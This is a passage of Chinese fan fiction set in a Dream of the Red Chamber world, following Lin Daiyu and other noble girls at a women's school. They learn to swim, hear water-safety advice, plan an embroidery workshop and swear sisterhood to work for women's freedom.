几人整理衣服,端肃神情进入学堂,张阅、孙芷、卫若竹、沈安、并白夫人已经坐里面等着了,几人进去向白夫人请安,“学生见过先生。”
白夫人调侃道,“姨母、舅母都不叫了啊。”
素心、黛玉、李思连忙道,“这不是叫先生正式嘛。”
白夫人笑道,“快选地方坐着。”
不一会儿,楚楠、楚柠、蒋易和表妹杨梧,陆沅和表妹宋静也来了。
学生到齐,各就各位,白夫人站起来,道,“学生们,我叫白涵,你们唤我白先生就好。”
一水儿碧袄蓝裙的姑娘站起来齐齐行礼,道,“学生见过白先生。”
白先生道,“快坐下,不必客气。你们都是我的后辈,今后我来负责女学的一应事宜,你们有不懂的尽可找我解决。”
姑娘们应诺。
白先生又道,“你们大都认识,但也有不认识,我念到名字的站起来,让大家都认识一下。”
停了一下才叫道,“卫若竹、楚楠、楚柠、林黛玉、贾素心、张阅、沈安、蒋易、杨梧、宋静、孙芷、陆沅、贾琋、李思。”
姑娘们听到白先生念到自己的名字,便站起来,微笑行礼。
白先生看着底下姣花软月般的女孩们,笑了笑,“我知道你们自己在家也都跟着父母、兄姐读书,读了什么、读到哪里,只是深浅不同,这个我们稍后了解,安排课业时,我们会考虑你们的进度,不用担心跟不上其
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他学生的进度不知所云,也不用担心迁就其他学生进度浪费时间。现在,我想让你们想一下,你们来这是为了什么?”
姑娘们茫茫然不知所措,不知先生这个问题的目的是什么,怕答不好,先生失望;又怕答错,只保守的答道,“自然是为了学习知识。”
白先生问道,“学到知识你们要做什么?装点自己的门面?找一个优秀的丈夫?结交人脉?或者只是父母的要求?”
师徒几年,林黛玉更了解白先生,知道她不是那等平常女子,直接道,“为了有朝一日能够掌握自己的命运,为了改变天下女子被夫权、父权、子权压迫的命运,为了让女子与男子一般自由的活着。”
黛玉这一番话,几近于“为天下女子而读书”,震耳欲聋,激发出那些女子或被迫、或自愿藏在心底的想法。
沈安第一个响应,道,“我要好好读书,文武双全,不再让人觉得将门女子都是头脑简单、四肢发达的蠢货;要建立女子军队,马踏山河,把匈奴打回草原,让天下人知道,女子与男子并没有什么两样,男子能做到的,我们女子同样能做到。”
白先生鼓掌,“好,有志气,你们呢。”
李思道,“我要重现墨家风采,要研究出更厉害的武器,震慑敌国。”
蒋易道,“我要成立女学,让千千万万的女子像男子一样,有书读。”
张阅道,“我要赚钱,让女孩子有活干、有钱挣,为女孩子们挣出一条出路。”
楚楠道,“我想要拥有权力,为天下女子账目。”
陆沅道,“我也要办女学,我们一起加油,把女学开遍大楚。”
素心道,“我想要去做好事,去救一个个受苦受难的女子。”
……
杨梧、宋静同为女子,听着也被感染,想要为女子尽一份力。虽然现在还不知道要做什么,但她们有这个想法,以后一定会走出第一步。
白先生早先在摄政长公主身边做过女官,长公主也有意改变女子地位,只是失败了,最后远走异国,她们只能敛起锋芒,现在看着孩子们也有了这样的志气,突然想看看她们能走到哪一步,但也只是道,“你们都很有志气,先生希望你们携手同行,互帮互助。最后告诫你们一点,别漏了形迹,开始做的时候,要在世人接受的底线内行事。”
姑娘们齐声道,“学生谨遵先生教导,我们一定会做到。”
白先生拿起手边的卷子,让张阅发下去,每人一份。
白先生道,“认真填,我会根据你们的答卷判断你们的学习进度、学习目标,为你们安排学习内容。”
姑娘们埋头苦答,白先生在前面看着,时不时转转,看看她们的答题状况。
一时间一晃而过,待姑娘们把卷子都交了,已至正午。
白先生道,“鉴于每日来回不安全,我已经和你们母亲都说好了,未来上学实行住宿制,上十休一。我已经收拾好了两个院子,下午让阅阅带你们过去选房间一人一间,选好后,回家收拾行礼,后日开始上学,后日一早,或明天下午来都行。不过,只能带一个丫鬟。”
说着,白先生拿着卷子走出学堂,边走边说,“走吧,现在去用膳。”
姑娘们早有准备,但事到临头,还是有些不知所措,一边觉得每日和姐妹们一起十分不错,一边又舍不得家人,只得答是,先跟着白先生去用膳。
17. 第十七夜
姑娘们想着要和家人分离十天,都十分不舍,没有一个选择提早离家,前往张府准备。
六月初七,姑娘们和她们的母亲都早早起床准备起来,家人们依依不舍、一遍一遍的叮嘱着,眼看时间到了,才在兄长、随从的护送下,带着丫鬟、行礼、书本、纸墨笔砚前往张府。
到了张府后,姑娘们别离家人,在仆妇的引领下,带着丫鬟和行礼坚定走入张府。
丫鬟们去安置行礼,姑娘们步入学堂。
辰时初,学堂里就已坐满了学生。
姑娘们坐在学堂里讨论,第一课会学什么,素心、黛玉、张阅想着林家女学的经历,“先生应该会给我们分班,给我们介绍学什么。”
楚楠道,“不知道我们的课和之前在家学的有没有区别?”
张阅透漏道,“这次可能会有惊喜,我去问伯母卖关子,说有惊喜,反正我们想不到。”
几人猜想间白先生进入学堂,“各位学生们,晨安。”
姑娘们起身施礼,“先生晨安。”
白先生坐在最前面,面对学生,压手示意学生们也坐下,说道,“今天是我们女学开课的第一天,希望你们学有所成、心想事成。我先给你们介绍一下以后教你们的各位先生,孔先生教授诗词歌赋;张先生教授;白先生教授骑射御;杨先生教授礼乐;李先生教授算学和店铺经营;魏先生教授刺绣……除了文史、骑射御、算学必学以外,其他的礼仪、琴、刺绣、舞蹈、店铺经营等课程,你们根据兴趣任选一到两样即可。”
姑娘们听了惊慌失措,有的姑娘平日在家最累的大概是向父母请安走的那段路、是学礼仪。
听到要学男子才学的骑射御,很是震惊,有些兴奋,又害怕自己学不好,怕吃苦。
白先生看了学生们的表情又道,“你们决心做出一番事业,那就要先吃得苦中苦。不过,你们也别怕,先生们都会根据你们的能力调整学习方式和难度,要有问题,你们随时找我。”
姑娘们听了白先生的话放松了下来。
白先生又说起分班的相关事宜,“你们都出身世家,从小接受的是最精英的女子教育,有的家庭怕连政治也会带着你们分析。你们差距大多在于年龄和家族培养女子的侧重点不同,有人长于诗书、有人长于算学、有人长于武艺……这次分班主要参考你们的兴趣相近点、年龄、四书五经学习进度等。楚楠、卫若竹、林黛玉、张阅、杨梧、宋静、陆沅一个班,剩下的楚柠、贾素心、蒋易、沈安、孙芷、贾琋、李思一个班。回去仔细考虑一下,自己想学什么。”
说罢,白先生起身,“现在跟我走,开始今天的学习。”
白先生带着姑娘们坐上马车出府。
六辆马车,黛玉、张阅和白夫人一起坐一辆,其他人三人一辆,郎中和行李挤一辆,每辆跟一位丫鬟伺候,两个健壮仆妇驾车,其与仆妇、丫鬟步行跟随。
姑娘们都念过书,却从未在第一天离开学堂,一路都兴高采烈的猜着要去干什么,猜先生要带她们去庄子玩,算是学习前的最后放松;说先生万一带我们去种地,怎么办……
想法很是天马行空。
黛玉和张阅受了同窗的托付,一路歪缠白先生要去做什么,白先生只跟她们打马虎眼,就是没有松口告诉她们。
不到半个时辰,马车就停了下来。
庄子里的老仆早就得了消息候着,看着马车停了,赶紧迎上来。
姑娘们下车围着张阅问,“这是哪,阅阅你来过没?”
张阅道,“这是我家的温泉庄子,过年那会儿来过一次。”
姑娘们赶紧议论起来,“温泉庄子能干什么?难道让我们泡温泉吗?可现在是夏天啊!”
“难道先生要锻炼我们的耐热能力?”
……
白先生听她们越说越离谱,赶紧制止,道,“别多想,赶紧进去,自然就进去了。”
白先生让老仆自取忙,让跟着健壮仆妇围了庄子最中间的院子,才带着姑娘们进去。
姑娘们进去一看,原来是一个大的温泉池子,惊呆了,“先生不会真带我们来泡温泉吧?”
白先生道,“停,今日不是带你们来玩的,是为了让你们学会洑水。”
姑娘们七嘴八舌,不太理解为什么第一课要学洑水。
白先生解释道,“既然你们心怀壮志,那我给你上的第一课就是自救,别想着身边有丫鬟,你们不会出事。让你们学洑水和骑射御是一样的道理。学会洑水不至于以后落水后等着人救,被不怀好意的人乘虚而入,坏了名声;骑射御是为了让你们在遇到危险的时候有反击之力,起码可以骑马或驾车逃离,不至于陷入是非之地,无法逃生。”
姑娘们听了这些话顿时一片哗然、花容失色,百思不得其解,洑水和不让人乘虚而入有什么关系?
她们从小被养在深宅大院里,偶尔出行都是里三层外三层的围着,危险基本靠近不了她们。哪怕她们最常见的后宅算计,也到不了她们跟前,就会被母亲、丫鬟们解决,不会闹到她们跟前。
她们仿佛水晶玻璃般被供在真空罩里,根本不觉得自己会直面遇到什么危险。
她们想要救女子,全凭一腔热血,和日常生活积攒的不忿。
楚楠与黛玉有些许不同,楚楠早早知道这个世界的残酷,也做好了准备,只是她也没有直面过;林黛玉也没有,林如海虽然会带着女儿外出游玩,但也会把一切危险排除,只是林黛玉坚定的想要自主自己的命运,想要改变千红一窟的悲剧,不负来人间一场。
白先生道,“你们若要走这条路,注定一路荆棘,强大如吕后、武皇,也都只改变了女子一时之境遇,未能改变女子永世之境遇。就说近前的昭明大长公主都在与朝堂诸公的斗争中败北,未能从政治上改变女子的地位,只能远走他乡,继续求索。如果你们没有背水一战、宁肯赴死的决心,那就罢了。那以后的课程就按贵女该学的来。”
姑娘们沉思。
黛玉、楚楠坚定道,“我们愿意,哪怕不成功,只要能为后世女子留下火种,就是我们的成功。我们失败了,自有后来者。”
沈安道,“我不认命,宁死不屈。”
陆沅道,“古往今来,在三从四德的压迫下,,诗人、女将军、女帝、摄政太后……依旧如雨后春笋般冒出,我等女子并非生来卑弱,若没有三从四德、没有繁琐的家事,女子一定可以更优秀。我愿意为这一天的来临尽一份力。”
陆沅顿了顿,低沉的说道,“我不会放弃,我不想我父母明明生了我,我也并不男子差,却被视作绝后,闲言碎语不绝于口。”
黛玉和陆沅算的同病相怜,只是黛玉还有一个夭折的弟弟,她的弟弟没了,她的父母还有她,母亲愿意为了她在生死边缘挣扎,父亲愿意为她和母亲放弃母亲,放弃未来的男嗣传承。可她也知道,这样的父母凤毛麟角,她知道也就甄先生夫妻、陆沅的父母。
黛玉立刻声援,“明明男子由女子孕育,女子又怎么不是后辈,可他们偏偏加倍的压榨女子,把没有男嗣当做女子的罪。”黛玉语气一转,“或许,这并非是谁的错,只是成了常态,错的就被当成了对的,拨乱反正就是我们的使命。”
宋静鼓掌,道,“算我一份。为了女性的未来,我们死不足惜,自有后来者。”
张阅跟着道,“死不足惜,自有后来者。”
姑娘们纷纷响应,哪怕最小的贾琋,也在本能促使下自愿加入。
贾琋自幼母亲早逝,父兄冷漠,长在荣府,明明是贾家身份最高的姑娘,却寄人篱下、不由自己,见惯人情冷暖,向来不关己事不动身,却也愿意为女子尽一份力,但愿来日的女子不会像她。
白先生看着女子都很坚定,点头赞许,说道,“今日让你们学洑水,是为了让你们落水后自救。别小看洑水,无数男子落水后尚且没有自救的机会,溺水而亡。落水后能够被救都是幸运的,若不会洑水,那就只能看天命了。所以,都给我好好学。”
又指着黛玉几个道,“黛玉、素心、张阅出来,带他们做一遍八段锦,做完后下水。”
说罢,白先生就出去了。
姑娘们跟着黛玉她们断断续续的做了一便八段锦,不算规范,好在做下来了。
怕白先生让她们重做,姑娘们纷纷脱去外衣,下到温泉池里。
水并不是很热,白夫人早让老仆在水池里引入凉水,和温泉中和过后,不冷不热,不会伤害身体。
白先生领回一队丫鬟,道,“下去到姑娘们身旁。”
丫鬟们下到温泉池里,洑到姑娘们身边。
白夫人看着一位姑娘旁边站了一位丫鬟,各就各位,才道,“这些丫鬟都善水,你们跟着她们学,这几日就在庄子里,学会回去。”
丫鬟们开始指导姑娘们游泳,慢声说着技巧,“身体要和水面保持平衡……游泳的过程中要尽量缩小身体……四肢要配合……身体活动要有节奏……”
丫鬟们护着姑娘,姑娘跟着丫鬟的指导动作着。
学习时间过得很快,一个时辰转眼过去,白先生道,“上岸,下午再练。”
姑娘们体力都不算好,一个时辰下来,都已经累的狠了。
待她们上岸穿好衣服后,白先生便带着姑娘们去用膳,都是庄子里的时蔬,比起她们平日吃的精细佳肴,别有一番鲜味。
用完膳,白先生道,“跟着丫鬟们,休息一个时辰后去池里集合。”
一个时辰后,姑娘们到了温泉池房间里,丫鬟们已经等着。
姑娘们按着早上白先生的吩咐,很自觉的跟着黛玉她们做了一遍八段锦,就下了水,根据早上学的动作游起来。
白夫人进来,看着她们已经练起来,很是满意,只道,“欲速则不达,要循序渐进,练会休息一
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刻钟再练。身体要是不适,赶紧上岸休息,叫郎中看看。”
姑娘们练了一个时辰后,白夫人道,“休息两刻钟再练。”
姑娘们赶紧爬出温泉池,平日盼着泡温泉、喜欢玩水,可待的时间长了,出来的时候颇有一股落荒而逃的感觉。
姑娘们围在一起喝水、吃水果、玩笑,白夫人道,“洑水方式多样,有蝶式、蛙式、仰式,你们可以跟着她们都学一下,精通一种洑水方式就行。另外,我给你们说一些溺水自救办法、游水注意方法,都好好记。”
姑娘们点头。
白夫人娓娓道来。
“第一,洑水是个力气活,特别是溺水自救。所以你们要有力气。以后,每日要跟着黛玉她们做八段锦、五禽戏,锻炼体力。
第二,落水后要及时呼救,千万不能胡乱扑腾,要保持体力,手要顺水向下划、脚要顺水用力向下蹬,头露出水面后要尽量呼吸空气。
第三,不能一个人去水边,去水边的时候最少带两个丫鬟。
第四,落水后如果脚抽筋,尽力洑到岸边;或者自己找东西抓着,等人来救;或者深呼吸屏气沉入水里,把脚掰直,在尽力把脚往外踹,尽力把腿蹬直,反复拉伸抽筋处,直到抽筋缓解。不过不建议你们选最后一个。
第五,手抽筋后,马上把手握拳,用力张开,反复抓握,直到手不抽筋。
第六,如果被杂物或水草缠住,千万别挣扎,否则会被缠的更紧。你们应该先保持镇定,找可以抓的东西,抓住后尽快付出水面;没有的话,就深呼吸屏气沉入水中,用双手解开缠绕物后,迅速回到水面。
不到万不得已,不要选择第二种方法。
第七,水面平静,不代表水里安全,千万不能随意下水玩。你们也别学会游泳后,就不怕了。要知道,善洑者溺于水,任何事上,哪怕你们熟悉的,也要长存警惕之心。
第八,不要觉得上岸就安全了,落水上岸后必须立即找大夫看。还有,千万别想着倒挂人体控水,万一水进入肺里,可就危险了。
第九,看见有人落水,没有十成的把握别立即下水救,你们可以找找旁边有没有木板什么可以抓的东西,扔过去让她抓着,等有人来了再下午救,或者让把握更大的人下去救。
都记下了没。”
姑娘们齐齐应是。
白先生有道,“别怕,等你们学会洑水后,带着你们连连落水自救技巧。还有最重要的一点,不要救异性,也不要被异性救。”
楚楠有些懂了,别的姑娘都有些云里雾里。
张阅问,“为什么,万一救治不及时怎么办?”
白先生看了解释道,“你们遇见不会水的男子落水,扔个板子过去,找随从来救。一般宴会,主人家都会在池塘旁边安排救水的仆从,大声喊一声就好,轮不到你们救。”
白先生说完,看她们还一脸不服,没觉得哪里不对,一脸不能见死不救,只得解释道,“这种事情很多,总有人或出于利益、或看不惯那姑娘,在宴会上算计姑娘落水,这时,就会有安排的落魄书生、捡漏的、想谋利的人去救姑娘,被救的姑娘怎么办?要么青灯古佛,要么嫁给那个男子?”
姑娘们听了都惊起一声冷汗。
白先生看着她们的脸色,有些明白了,接着道,“我年轻那会儿,交好的一个姑娘都已经定亲了,与未婚夫两情相悦、互为知己,两家都很满意,可在宴会上被一个落魄举子救了,最后只能退了婚嫁给那个男的。这还算幸运,那男子现当了知府,夫妻相敬如宾。可不幸的呢?嫁过去被拿捏,娘家想给她出气都没法子,因为男的对女的救命之恩,因为女的嫁人前坏了名声。我给你们说这些,就是想告诉你们,都到了外出交际的年龄,一定要小心,再小心。”
楚柠问道,“为什么你的朋友不嫁给未婚夫,是那个男的悔婚了吗?”
其他姑娘也都眼巴巴看着白夫人,“因为她失了清白,就算未婚夫家不嫌弃,可她嫁过去总会被人指摘,谁知道以后会怎么样,要过不好失了清白就是罪,而且她还要顾忌娘家名声。”
姑娘们都低下头,感性点的眼泪都流了下来,都觉得女子好难,她明明很无辜。
李思问道,“先生,您觉得您朋友做的对吗?”
白先生道,“没有对错,她做的是当时对她来说最好的选择。只是,到底意难平。”
姑娘们到这终于明白为什么第一课学洑水,先生,“先生,我们懂您的苦心,我们一定会好好学。”
白先生道,“以你们的年纪,在家里该学的学的差不多了。你们既有壮志,我只能教你们些实用的,让你们面对阴谋有自救的能力。”
姑娘们站起来,肃颜向白先生行礼道,“学生谢过先生。”
白先生挥手,“行了,好好学,我也不负你们娘亲的托付。”
这次,姑娘们学的比早先更认真。
18. 第十八夜
不过三天,姑娘们都学会了游泳。
白先生看她们提早完成任务,便说,“晚上回去好好休息,明天可以去庄子外面的村子里好好玩玩,下午回去,明天后天正式尚可。”
姑娘们喜出望外,“太好了,谢谢先生。”
白先生看她们高兴的都坐不住了,恨不得马上明天早上的样子,道,“去吧。”
白先生看着她们离开,隐隐还能听见在讨论去要做什么,黛玉性情浪漫,想要去赏花弹琴;沈安活泼些,说着听丫鬟说村子上有河,要去捞鱼;楚楠说村子的孩子熟悉环境,肯定知道哪有好玩的,到时候可以去问问……
白先生眼里渐渐浮起悲意,她看到了她们的决心,既欣慰又痛心。
欣慰的是昭明大长公主当年失败了,她们的后辈都愿意做后来者;痛心的是她知道这条路有多难,当年摄政的昭明大长公主都失败了,如今这几个孩子又能走到哪一步呢?
可看着她们,她心中有种莫名的自信,她们一定会做到的。
这时节,大户人家养育姑娘多讲究大门不出、二门不迈,她们既然打算救万千女子于水火中,那就要打破世家贵女的桎梏,去看看世界上的大多数女子是怎么活的。
毕竟,世家贵女也就那么几个。
白先生提笔写了封信送往张府,给孔词说了说这两天姑娘们的表现,希望明天别让她失望。
好不容易有了出门的机会,姑娘们兴高采烈的讨论着要怎么玩,连同丫鬟们都十分兴奋。
毕竟,往日她们出门只能跟着母亲赴宴,来庄子上玩的机会都少之又少,更何况去村子里。
外面的天是那么蓝、树是那么绿、空气是那么甜,她们光想着就很激动。
走到房间都没定下,张阅便邀请姐妹们去她房间继续商量,又吩咐丫鬟把晚膳送到她房间。
姑娘们聊着时候,丫鬟送来了晚膳,姐妹们聊的正酣,便也不顾食不言的规矩,边吃边聊。
只是一顿饭过去,还是没有定下干什么。
姑娘们各有各想做的事情,谁也说服不了谁,又偏偏想着姐妹们第一次聚聚,不想分开。
楚楠到底年长,思虑多些,拿主意道,“我们上午去河边,想弹琴、捉鱼、野餐,也可以各处逛逛;下午就去村子里看看,可以找村子里的女人、女童们聊聊,也了解一下平常人家姑娘们都怎么生活的,怎么样?”
黛玉等听了楚楠的话,懂了楚楠的打算,不禁有些惭愧。
她们到底没怎么见过底层妇女的生活,这是她们第一接近底层妇女;而她们要改变女子生活,就离不开底层妇女。
归根究底,需要救赎的是底层妇女,如果知道底层妇女要什么,想必她们的路会好走许多。
黛玉思虑片刻道,“应该的,等我们休沐就该行动起来了,上次聊完姐妹们也没机会再聚,这几日也忙着学习,累的没有力气,之后,绣庄也该提上议程了。”
杨梧、宋静问道,“绣庄什么事,我家里也有,要有事也可以帮忙?”
楚楠道,“我们上次聚会姐妹谈起女子的难处,林妹妹手上刚好有个绣坊,说可以大量培养绣娘,我们再花些好看的绣样,而且我们林妹妹、张妹妹、贾妹妹会南方绣法,孙妹妹他们都会北方绣法,两相结合,说不定能开创出新流派?”
宋静听了思考了会,“这个想法好,南方绣品好,在京城买南方绣品常常要靠抢,还经常抢不到,到时候可一定给我留着。”
黛玉解释道,“主要还是好绣娘少,刺绣又是慢工出细活。”
姑娘们都点头,张阅道,“所以培养绣娘和帮助女子谋生一举两得,指不定到时候还能赚不少呢,赚了钱又能做不少事。”
杨梧也道,“我们这些人家都不缺上好的布料,到时候绣了挑了最好的送给皇后娘娘和王妃姨母,还有公主们,到时候京里的贵妇肯定都会买,也能卖上价;练手的一般绣品也可以便宜卖出去,多少也能赚点钱。”
楚楠道,“要是好的话,我们还可以把绣坊开遍各地。”
黛玉道,“我回去就给掌柜写信安排下去,先让他们开绣娘,再让府里的绣娘去绣庄帮忙,再让她们想想怎么结合南北绣法。”
楚楠想着自己不擅刺绣,但见过不少营销办法,道,“我们姐妹们也都会画画,就负责出绣样。不过我不擅长刺绣,到时候我想办法把刺绣卖出好价格。”
张阅道,“英雄所见略同,看来姐妹们都一肚子生意经。不过绣坊是林妹妹的,要培养、招收绣娘,肯定要花钱,我们总不能都让林妹妹承担,姐妹们多少出点,之后有钱出钱、有力出力。”
几个姑娘听了,觉得有道理,只是她们现在也都还靠月钱生活,攒不下多少银钱,道,“待休沐了,我们回去找找,林妹妹既然出了绣坊,盈利前培养绣娘的钱,姐妹们分担一下。”
黛玉也清楚,她一个人来京,父亲给了她应急的,又把娘亲在京城的产业交给她打理,手头比较宽裕,但也没拒绝,多少无所谓,姐妹们多少出点,也能有点参与感,便道,“不用急,我可以先垫着,姐妹们到时候看情况给点,多少无所谓,或者让账房记账,等盈利了给我也行。”
楚楠早先和黛玉她们商量过,她们这一批学生都非富即贵,若杨梧、宋静、贾琋有意,就邀请她们加入群芳会;又因几人都沾亲带故,从小一起长大,人品有保障,全票通过。
黛玉看话说道此处看向杨梧、宋静、贾琋道,“杨姐姐、宋姐姐、琋琋可愿加入我们?”
杨梧、宋静、贾琋毫无疑问地点头,“当然。”
黛玉道,“欢迎加入群芳会。”
楚楠几人又七嘴八舌的向杨梧几人介绍其群芳会和群芳会规矩,杨梧赞道,“妹妹们好想法,和幸运成为你们的一员。”
楚楠郑重宣布,“欢迎新成员加入,我们群芳会也算有产业了,一起做大做强,到时候一起帮更多人。”
张阅道,“也让世人看看我们女子的风采。”
姑娘们笑谈一会儿,说起群芳会的初衷,宋静道,“被关在深宅大院里,熟读诗书的女子又有几个满足于现状,不过是没有办法,罢了。”
杨梧道,“男子很少能共情母亲、妹妹,但凡不是家主过分到威胁到他们自己的利益,他们都会觉得母亲忍忍就能过去。”说着,她冷哼一声,“站着说话不腰疼,没有什么能简单过去的。那些女子后来只是不在乎了,只是为了自己的利益虚与委蛇。如今,我们为了共同理想走到一起,不是亲生,胜似亲生。”
杨梧终于说出了她的目的,“姐妹们,我们结拜怎么样?”
杨梧期待的看着姑娘们,姑娘们也恍然,“这个主意好,我们怎么没想到了。”
黛玉道,“走,我们去找先生给我们主持。”
姑娘们都想到是什么,难得一冲动,齐刷刷的走向白夫人的房间。
张阅敲了敲门,“伯母,我是阅阅。”
白先生躺在床上看书,听见声音,立即放下书,起身披上外衣,又怕出了什么事?边穿边道,“素纨,快去请姑娘进来。”
白先生身边的丫鬟素纨打开门,看见姑娘们都在,便道,“太太请姑娘们进去。”
这会才冷静下来,看着天已经黑了,意识到会打扰先生休息,只不过来都来了,便都侯在屋子外面,只让张阅进去,三三两两的站着说笑,畅谈未来。
张阅进去的时候白先生已经坐在桌边等着。
张阅一看床上已经趟过了,有些心虚,忙道白先生后边,给她按摩起来,撒娇道,“伯娘,好伯娘,阅阅不知道你已经睡了,伯娘不怪阅阅好不好?”
白先生道,“还道你们出什么事了,现在看来没有。说吧,要干什么?黛玉她们呢?”
张阅看伯娘道,“外面等着。我们刚一起玩,姐妹们说想结拜,便来找您帮忙主持,一时冲动就……时间。”
白先生道,“就非得今晚吗?”
张阅道,“这不是明天还想去庄子里看看,还要回城嘛?”
白先生宠溺的道,“欠你们的。夜里凉,快让黛玉她们也进来。”
张阅赶紧出去叫黛玉她们进来,白夫人对素纨道,“去找人在院子里摆个桌子,摆上香案,再拿些蒲团。”
姑娘们进来,素纨领命离开。
白夫人问道,“怎么想起要结拜了。”
黛玉道,“先生,是杨姐姐提起的,我们都觉得这个注意好。”
白夫人转头看像杨梧,杨梧又把之前的想法说了一边。
白夫人赞扬道,“你们都会聪慧,偏还善良,你们母亲知道也会欣慰的。说到底也是你们的幸运,有的母亲自己没得到,便不许女儿得到;可你们母亲把你们当掌珠般护着,如此,你们能发现女子的困境,不负母亲的圈圈爱护之心。你们要帮助女子,不还是处于对母亲的爱护、和对自己处境的不甘吗?”
姑娘们眼睛都红了,如陆沅、黛玉、素心这般父母情深和睦到底少数,可素心失去母亲,早年父亲又能护她多少?更多的还是家族联姻、相敬如冰。
黛玉道,“真希望以后不会有这样事情,男女结婚都不是盲婚哑嫁,是不是会好点。”
白先生道,“放心,你爹肯定不会让你盲婚哑嫁的。”又看向其他姑娘,“你们娘亲都算我看着长大的,肯定也不会让你们盲婚哑嫁,总归会考虑你们的意愿。”
宋静道,“要能不成亲就好了。”
陆沅也道,“我也不想,像我爹那样的男子太少了。可是,我爹娘现在都已经考虑了。”
其他姑娘的情况连连哀叹。
她们年龄都差不了多少,孙芷、陆沅她们都过了十二,楚楠、若竹下半年及笄,家里都早早选了起来,也就楚柠、贾琋才十岁出头,不用担心。
楚楠、若竹也就是没找到四角俱全的,家里又想多留她们一段时间,不过,等她们及笄怕也都就定了。
白先生看着她们一个个愁的,“你们也别见到过不好的,就觉得男的没好男人,你们看陆大人、林大人、阅阅大伯、卫郡王都不错。”
楚楠、若竹道,“可我们还是害怕。”
白先生劝道,“这样想,你们成亲以后,外出交际就方便了,有了嫁妆,想做些什么也方便。”
楚楠、若竹恍然大悟。
若竹想,自己反正没有喜欢的人,要不要选个皇子,以后朝吕后努力……
楚楠则想,自己是不是可以找个寒门进士,求求父王,外派地方,到时候架空他,不太可行,不过,事在人为
黛玉脑海不知怎的浮现起卫若兰。
黛玉想,大概是她来京认识的两个男子对比太强烈,宝玉是个狂悖无礼的膏粱子弟,卫若兰是如父亲般的谦谦君子。
黛玉又想,这世上女子有好有坏,男子也一样,她不该因为女子的悲剧,否定所有男人,但做过坏事的人,总该得到报应。
素心想,父亲曾经也是翩翩公子,后来……可见,人不是一成不
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变的。
……
几人闲谈胡想间,素纨进来,“太太,都准备好了。”
白夫人道,“走吧。”
几人跟着白夫人出来,看着院子里顺着月亮的方向摆着一张桌子,桌子下摆着一溜蒲团,人跪下刚好对着月亮,桌子上放着几碟点心、瓜果,摆着两根蜡烛,地上放着一个插香的盆子。
白夫人道,按年龄排吧,找位置跪下去。
楚澜、卫若竹、张阅、蒋易、沈安、贾素心、林黛玉、宋静、孙芷、陆沅、李思、杨梧、宋静、贾琋依次跪下。
素纨点燃蜡烛和一把香,又给每个姑娘发了三跟香。
白夫人看众人都准备好了,才道,“我来给你们做个司礼。等会我说一句,你们跟着念一句,记住了吗。”
“记住了。”姑娘们异口同声道。
白先生对着案桌,背对姑娘们念道,“黄天在上、后土在下、望舒见证,我”
姑娘们跟着道,“黄天在上、后土在下、望舒见证,我楚澜/我卫若竹……”
白先生道,“志同道合,从此以后,结为金兰姐妹,同道而行,为天下女子奋斗终生,以解放天下女子、实现男女平等、天下大同为己任,永不反悔,永不背叛。”
姑娘们齐声坚定地诵道,“……”
白先生转过身,向姑娘们说道,“三拜九叩,以后挨个把香插了。”。
姑娘们齐齐三拜九叩,挨个把香插到盆里。
白先生看着她们完成仪式,道,“现在好了,赶紧回去休息”。
白先生先离开,姑娘们也三三两两地接伴离开,素纨吩咐仆妇收拾东西后,赶紧追着白先生离开。
卫若竹、楚楠回了房间,都说了自己的打算,两人都觉得自己的打算不算好,争执不下,楚楠便带着卫若竹去找黛玉。
黛玉、素心、张阅刚好一起聊婚姻的事情,虽然不太急,但孔词已经给她们找起来了,几人也有些烦扰,这时,卫若竹、楚楠就来了。
卫若竹、楚楠说了他们的想法。
黛玉、素心、张阅大吃一惊,他们家里都受过波及,赶紧问道,“若竹姐,你怎么能保证那个皇子一定会登基,要是压错了,可就万劫不复了。”
卫若竹道,“家里在朝堂肯定有看好的,到时候几家一起使力,还有姐妹们,不怕失败;就算失败,我也是王妃,做些什么方便点。到时候楠楠借着进士的手拿到实权,姐妹们有经商的,有培养各种绣娘等技能人才的,还有开学院的……我们几管齐下。”
黛玉几人听了不是不可行,只是还是劝道,“姐姐们还是好好考虑,事情不一定按着我们的想法发展。姐姐找一个对你们好的姐夫更好点,纵然我们想救更多的女子,也不意味着要搭上你们的终身。”
楚楠、卫若竹听了感动,抱过黛玉,“妹妹嘴好巧。我们会这样想,也是觉得嫁给谁都一样,没有人能保证那个男的一辈子不变。不过我们会好好考虑的,你们放心。”
几人都有些震动,闲聊了会,才各自回了房间睡了。
黛玉送走她们,便在雪雁的伺候下给掌柜写了信,封了口。
封口的时候,黛玉想着林家的绣坊和绸缎庄开在相邻的地方,含霜之前去了绸缎庄,又擅长刺绣,倒也可以帮忙,又写了封信给含霜,让含霜也常去绣坊看看;又拆开给掌柜的信添了几句话,封了两份信,想着明日回了城里,就安排下人送过去。
雪雁看着黛玉写完信又打算看书,赶紧拿过洗漱用品,劝道,“姑娘赶紧洗漱,早点睡,都这么晚了。明天再看。”
黛玉听了便放下书,在雪雁的帮助下洗脸、卸发、泡脚。
泡脚的时候,问雪雁一个她想了很久的问题,“雪雁,你会觉得不公平吗?我们穿银使婢,你却只能做个丫鬟?你有想过去做别的什么吗?”
雪雁听了,懵了一瞬,她也是跟着黛玉读过书的,便道,“有的人生来就什么都有,有的人什么都没有,肯定会觉得不公平。只是我也知道,小姐有今天一切是祖辈努力过的,老爷、夫人、姑娘都是好人,虽然我们是丫鬟,也从不苛待我们,还带着我们读书,我们有疑问也给我们解答,跟着姑娘过得比小地主家的姑娘还好呢;我还知道小姐让含霜他们都去铺子里学,以后也能当个掌柜,慢慢也能积攒些家业,到时候让孩子去读书,慢慢也家里也就起来了。”
黛玉听了,知道雪雁也心里有成算,欣慰了一瞬,道,“是啊,我们和你们原也没有什么分别,只是分工的不同,只是沾了先辈的光。总有一天,大家都会一样的,没有尊卑贵贱之分。”
雪雁听了落下几滴泪,她一直知道姑娘心善,待她们如姐妹般,比她们小点,还早早为她们谋划未来出路;如今,姑娘要做危险的事情,她知道劝不住她。
不过,危险来的时候,她一定会挡在前面。
雪雁想,逢春、子规她们都会如此想。
她也知道,姑娘不会同意,所以她不会说。
黛玉看着雪雁陷入沉思,自己擦了脚,躺在床上,看这丫头还在发呆,泛起了坏心思,等着看雪雁什么时候反应过来。
雪雁脑子里泛起一个个黛玉遇到危险的画面,她们一个个冲上去,先是挡住了,她很开心;后面却挡不住了,瞬间惊起一身冷汗。
回过神来,黛玉已经睡着了,又盯着黛玉看了会,确定黛玉好好的才去洗漱。
洗漱的时候,雪雁下定决心,一定要护好姑娘,还要给逢春她们也说说。
19. 第十九夜
